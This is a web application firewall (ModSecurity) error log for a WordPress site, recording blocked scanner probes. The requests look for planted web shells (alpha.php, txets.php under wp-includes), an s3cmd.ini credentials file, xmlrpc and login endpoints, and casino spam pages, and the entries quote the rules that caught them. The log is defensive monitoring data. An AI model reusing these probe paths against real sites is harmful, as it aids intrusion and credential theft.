[Sun Apr 26 07:56:53.152672 2026] [:error] [pid 8383:tid 8419] [client 158.158.100.177:14146] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alpha.php"] [unique_id "ae1UxdFa2S3EsATMdWPRhQAAABY"]
[Sun Apr 26 07:56:54.985409 2026] [:error] [pid 22573:tid 22627] [client 158.158.100.177:31104] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alpha.php"] [unique_id "ae1UxnB3EmQlD4yKUt8qsQAAAZQ"]
[Sun Apr 26 07:56:56.301353 2026] [:error] [pid 22573:tid 22630] [client 158.158.100.177:8304] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bc.php"] [unique_id "ae1UyHB3EmQlD4yKUt8quQAAAZc"]
[Sun Apr 26 07:56:57.913977 2026] [:error] [pid 8385:tid 8430] [client 158.158.100.177:23501] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bc.php"] [unique_id "ae1UyTOy7_J84Wx3-ox2GQAAAEY"]
[Sun Apr 26 07:57:00.069967 2026] [:error] [pid 22573:tid 22608] [client 158.158.100.177:33710] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bc.php"] [unique_id "ae1UzHB3EmQlD4yKUt8qwwAAAYI"]
[Sun Apr 26 07:57:02.088954 2026] [:error] [pid 16515:tid 16524] [client 158.158.100.177:18161] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bc.php"] [unique_id "ae1UzltDrUmgHSvpuLzQEwAAAkY"]
[Sun Apr 26 07:57:03.041959 2026] [:error] [pid 8491:tid 8508] [client 158.158.100.177:18117] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/67.php"] [unique_id "ae1Uzyq7I7e6CJooQM2uaQAAAMk"]
[Sun Apr 26 07:57:05.169045 2026] [:error] [pid 22573:tid 22623] [client 158.158.100.177:16060] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/67.php"] [unique_id "ae1U0XB3EmQlD4yKUt8q0QAAAZA"]
[Sun Apr 26 07:57:06.110560 2026] [:error] [pid 22573:tid 22607] [client 158.158.100.177:11601] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/67.php"] [unique_id "ae1U0nB3EmQlD4yKUt8q1gAAAYE"]
[Sun Apr 26 07:57:07.742491 2026] [:error] [pid 22573:tid 22624] [client 158.158.100.177:31144] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/67.php"] [unique_id "ae1U03B3EmQlD4yKUt8q3gAAAZE"]
[Sun Apr 26 07:57:14.206591 2026] [:error] [pid 16515:tid 16541] [client 158.158.100.177:53294] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1mrX.php"] [unique_id "ae1U2ltDrUmgHSvpuLzQHAAAAlc"]
[Sun Apr 26 07:57:17.263999 2026] [:error] [pid 22572:tid 22580] [client 158.158.100.177:24793] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1mrX.php"] [unique_id "ae1U3dXOViWCFU-pZzB6hgAAAUI"]
[Sun Apr 26 07:57:21.060499 2026] [:error] [pid 22573:tid 22611] [client 158.158.100.177:24798] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1mrX.php"] [unique_id "ae1U4XB3EmQlD4yKUt8q9wAAAYU"]
[Sun Apr 26 07:57:24.730788 2026] [:error] [pid 8385:tid 8425] [client 158.158.100.177:31116] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x402.php"] [unique_id "ae1U5DOy7_J84Wx3-ox2IgAAAEE"]
[Sun Apr 26 07:57:27.683862 2026] [:error] [pid 22572:tid 22598] [client 158.158.100.177:18150] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x402.php"] [unique_id "ae1U59XOViWCFU-pZzB6mwAAAVQ"]
[Sun Apr 26 07:57:28.790464 2026] [:error] [pid 13137:tid 13149] [client 158.158.100.177:12232] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x402.php"] [unique_id "ae1U6N0RB4J0o4h5neHqaAAAAgk"]
[Sun Apr 26 07:57:29.617663 2026] [:error] [pid 13137:tid 13151] [client 158.158.100.177:53289] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x402.php"] [unique_id "ae1U6d0RB4J0o4h5neHqbAAAAgo"]
[Sun Apr 26 07:57:31.628319 2026] [:error] [pid 8390:tid 8464] [client 158.158.100.177:24771] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/485.php"] [unique_id "ae1U64GPtFK_i9p5yxQwzAAAAI0"]
[Sun Apr 26 08:56:17.712061 2026] [:error] [pid 16515:tid 16532] [client 78.159.131.56:36698] [client 78.159.131.56] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/txets.php"] [unique_id "ae1isVtDrUmgHSvpuLzZ7QAAAk4"]
[Sun Apr 26 09:49:25.552167 2026] [:error] [pid 16515:tid 16521] [client 91.132.125.75:55303] [client 91.132.125.75] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||vetstars.com.au|F|2"] [data ".ini"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "vetstars.com.au"] [uri "/s3cmd.ini"] [unique_id "ae1vJVtDrUmgHSvpuLzkNAAAAkM"]
[Sun Apr 26 09:50:03.859928 2026] [:error] [pid 8383:tid 8419] [client 194.70.234.38:16899] [client 194.70.234.38] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 194.70.234.38, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/vetstars.com.au/xmlrpc.php"] [unique_id "ae1vS9Fa2S3EsATMdWPbyAAAABY"]
[Sun Apr 26 09:50:08.122929 2026] [:error] [pid 13137:tid 13145] [client 194.70.234.38:21295] [client 194.70.234.38] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 194.70.234.38, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/vetstars.com.au/xmlrpc.php"] [unique_id "ae1vUN0RB4J0o4h5neEGBwAAAgU"]
[Sun Apr 26 10:03:00.729249 2026] [:error] [pid 22573:tid 22618] [client 43.130.15.147:57204] [client 43.130.15.147] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "ae1yVHB3EmQlD4yKUt9UngAAAYs"]
[Sun Apr 26 12:00:12.687559 2026] [:error] [pid 16515:tid 16538] [client 23.239.25.95:46806] [client 23.239.25.95] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 23.239.25.95, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ae2NzFtDrUmgHSvpuLz73wAAAlQ"]
[Sun Apr 26 13:31:22.260968 2026] [:error] [pid 22573:tid 22613] [client 51.77.218.189:55852] [client 51.77.218.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "ae2jKnB3EmQlD4yKUt-atwAAAYc"]
[Sun Apr 26 13:31:24.743581 2026] [:error] [pid 8390:tid 8457] [client 51.77.218.189:53724] [client 51.77.218.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "ae2jLIGPtFK_i9p5yxTSYQAAAIY"]
[Sun Apr 26 13:31:27.161870 2026] [:error] [pid 8390:tid 8472] [client 51.77.218.189:53730] [client 51.77.218.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "ae2jL4GPtFK_i9p5yxTSZQAAAJU"]
[Sun Apr 26 13:31:29.536104 2026] [:error] [pid 8390:tid 8457] [client 51.77.218.189:53738] [client 51.77.218.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20co.aspx"] [unique_id "ae2jMYGPtFK_i9p5yxTSaQAAAIY"]
[Sun Apr 26 13:31:32.044488 2026] [:error] [pid 8390:tid 8454] [client 51.77.218.189:53748] [client 51.77.218.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "ae2jNIGPtFK_i9p5yxTScAAAAIM"]
[Sun Apr 26 13:31:34.480814 2026] [:error] [pid 22572:tid 22591] [client 51.77.218.189:34752] [client 51.77.218.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "ae2jNtXOViWCFU-pZzDYFAAAAU0"]
[Sun Apr 26 13:31:36.821560 2026] [:error] [pid 8390:tid 8460] [client 51.77.218.189:34756] [client 51.77.218.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "ae2jOIGPtFK_i9p5yxTSdgAAAIk"]
[Sun Apr 26 13:31:39.207346 2026] [:error] [pid 8491:tid 8519] [client 51.77.218.189:34762] [client 51.77.218.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "ae2jOyq7I7e6CJooQM3ZDgAAANQ"]
[Sun Apr 26 13:31:41.593626 2026] [:error] [pid 22573:tid 22628] [client 51.77.218.189:34774] [client 51.77.218.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20wallet.aspx"] [unique_id "ae2jPXB3EmQlD4yKUt-axgAAAZU"]
[Sun Apr 26 13:31:43.946834 2026] [:error] [pid 8491:tid 8516] [client 51.77.218.189:38470] [client 51.77.218.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dg%20casino.aspx"] [unique_id "ae2jPyq7I7e6CJooQM3ZEgAAANE"]
[Sun Apr 26 13:31:46.279518 2026] [:error] [pid 13137:tid 13143] [client 51.77.218.189:38480] [client 51.77.218.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "ae2jQt0RB4J0o4h5neE0ewAAAgM"]
[Sun Apr 26 13:31:48.936723 2026] [:error] [pid 16515:tid 16519] [client 51.77.218.189:38482] [client 51.77.218.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "ae2jRFtDrUmgHSvpuLwJbQAAAkE"]
[Sun Apr 26 13:31:51.257737 2026] [:error] [pid 8390:tid 8457] [client 51.77.218.189:38498] [client 51.77.218.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "ae2jR4GPtFK_i9p5yxTSkgAAAIY"]
[Sun Apr 26 13:31:53.594672 2026] [:error] [pid 16515:tid 16528] [client 51.77.218.189:38514] [client 51.77.218.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/h25%20com.aspx"] [unique_id "ae2jSVtDrUmgHSvpuLwJbgAAAko"]
[Sun Apr 26 13:31:55.895726 2026] [:error] [pid 22573:tid 22629] [client 51.77.218.189:39858] [client 51.77.218.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jili%20slot.aspx"] [unique_id "ae2jS3B3EmQlD4yKUt-a1wAAAZY"]
[Sun Apr 26 13:31:58.227777 2026] [:error] [pid 8390:tid 8459] [client 51.77.218.189:39868] [client 51.77.218.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20slot.aspx"] [unique_id "ae2jToGPtFK_i9p5yxTSqAAAAIg"]
[Sun Apr 26 13:32:00.521506 2026] [:error] [pid 22573:tid 22611] [client 51.77.218.189:39872] [client 51.77.218.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20vip.aspx"] [unique_id "ae2jUHB3EmQlD4yKUt-a4QAAAYU"]
[Sun Apr 26 13:32:02.831494 2026] [:error] [pid 8385:tid 8446] [client 51.77.218.189:39882] [client 51.77.218.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kingkong%20joker.aspx"] [unique_id "ae2jUjOy7_J84Wx3-oylmAAAAFY"]
[Sun Apr 26 13:32:05.151528 2026] [:error] [pid 16574:tid 16614] [client 51.77.218.189:48530] [client 51.77.218.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lava%20slot.aspx"] [unique_id "ae2jVX5MsX8wRQr99nYZhgAAA0o"]
[Sun Apr 26 13:32:07.463901 2026] [:error] [pid 22573:tid 22617] [client 51.77.218.189:48546] [client 51.77.218.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mega%20slot.aspx"] [unique_id "ae2jV3B3EmQlD4yKUt-a6AAAAYo"]
[Sun Apr 26 13:32:09.798022 2026] [:error] [pid 22572:tid 22591] [client 51.77.218.189:48556] [client 51.77.218.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/metal%20slot.aspx"] [unique_id "ae2jWdXOViWCFU-pZzDYGgAAAU0"]
[Sun Apr 26 14:13:49.671506 2026] [:error] [pid 22573:tid 22619] [client 2.58.56.197:53851] [client 2.58.56.197] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/widgets/txets.php"] [unique_id "ae2tHXB3EmQlD4yKUt-mQgAAAYw"]
[Sun Apr 26 14:13:50.229970 2026] [:error] [pid 22573:tid 22629] [client 2.58.56.197:63679] [client 2.58.56.197] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/rest-api/txets.php"] [unique_id "ae2tHnB3EmQlD4yKUt-mRQAAAZY"]
[Sun Apr 26 14:13:50.790940 2026] [:error] [pid 22572:tid 22585] [client 2.58.56.197:49421] [client 2.58.56.197] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/blocks/post-template/txets.php"] [unique_id "ae2tHtXOViWCFU-pZzDhRwAAAUc"]
[Sun Apr 26 14:13:54.369249 2026] [:error] [pid 8390:tid 8461] [client 2.58.56.197:54900] [client 2.58.56.197] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/txets.php"] [unique_id "ae2tIoGPtFK_i9p5yxTjZwAAAIo"]
[Sun Apr 26 15:17:34.289098 2026] [:error] [pid 8385:tid 8438] [client 43.153.135.208:51074] [client 43.153.135.208] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "ae28DjOy7_J84Wx3-oyx1wAAAE4"]
[Sun Apr 26 16:11:01.463861 2026] [:error] [pid 8383:tid 8419] [client 193.70.46.38:60444] [client 193.70.46.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20game%20slot.aspx"] [unique_id "ae3IldFa2S3EsATMdWP-FgAAABY"]
[Sun Apr 26 16:11:04.101437 2026] [:error] [pid 16515:tid 16534] [client 193.70.46.38:55422] [client 193.70.46.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20game.aspx"] [unique_id "ae3ImFtDrUmgHSvpuLwffQAAAlA"]
[Sun Apr 26 16:11:06.477945 2026] [:error] [pid 13197:tid 13233] [client 193.70.46.38:55434] [client 193.70.46.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "ae3Imt3kktFKdSxTrBvDCQAAAsI"]
[Sun Apr 26 16:11:08.895751 2026] [:error] [pid 8383:tid 8402] [client 193.70.46.38:55446] [client 193.70.46.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20joker.aspx"] [unique_id "ae3InNFa2S3EsATMdWP-HAAAAAU"]
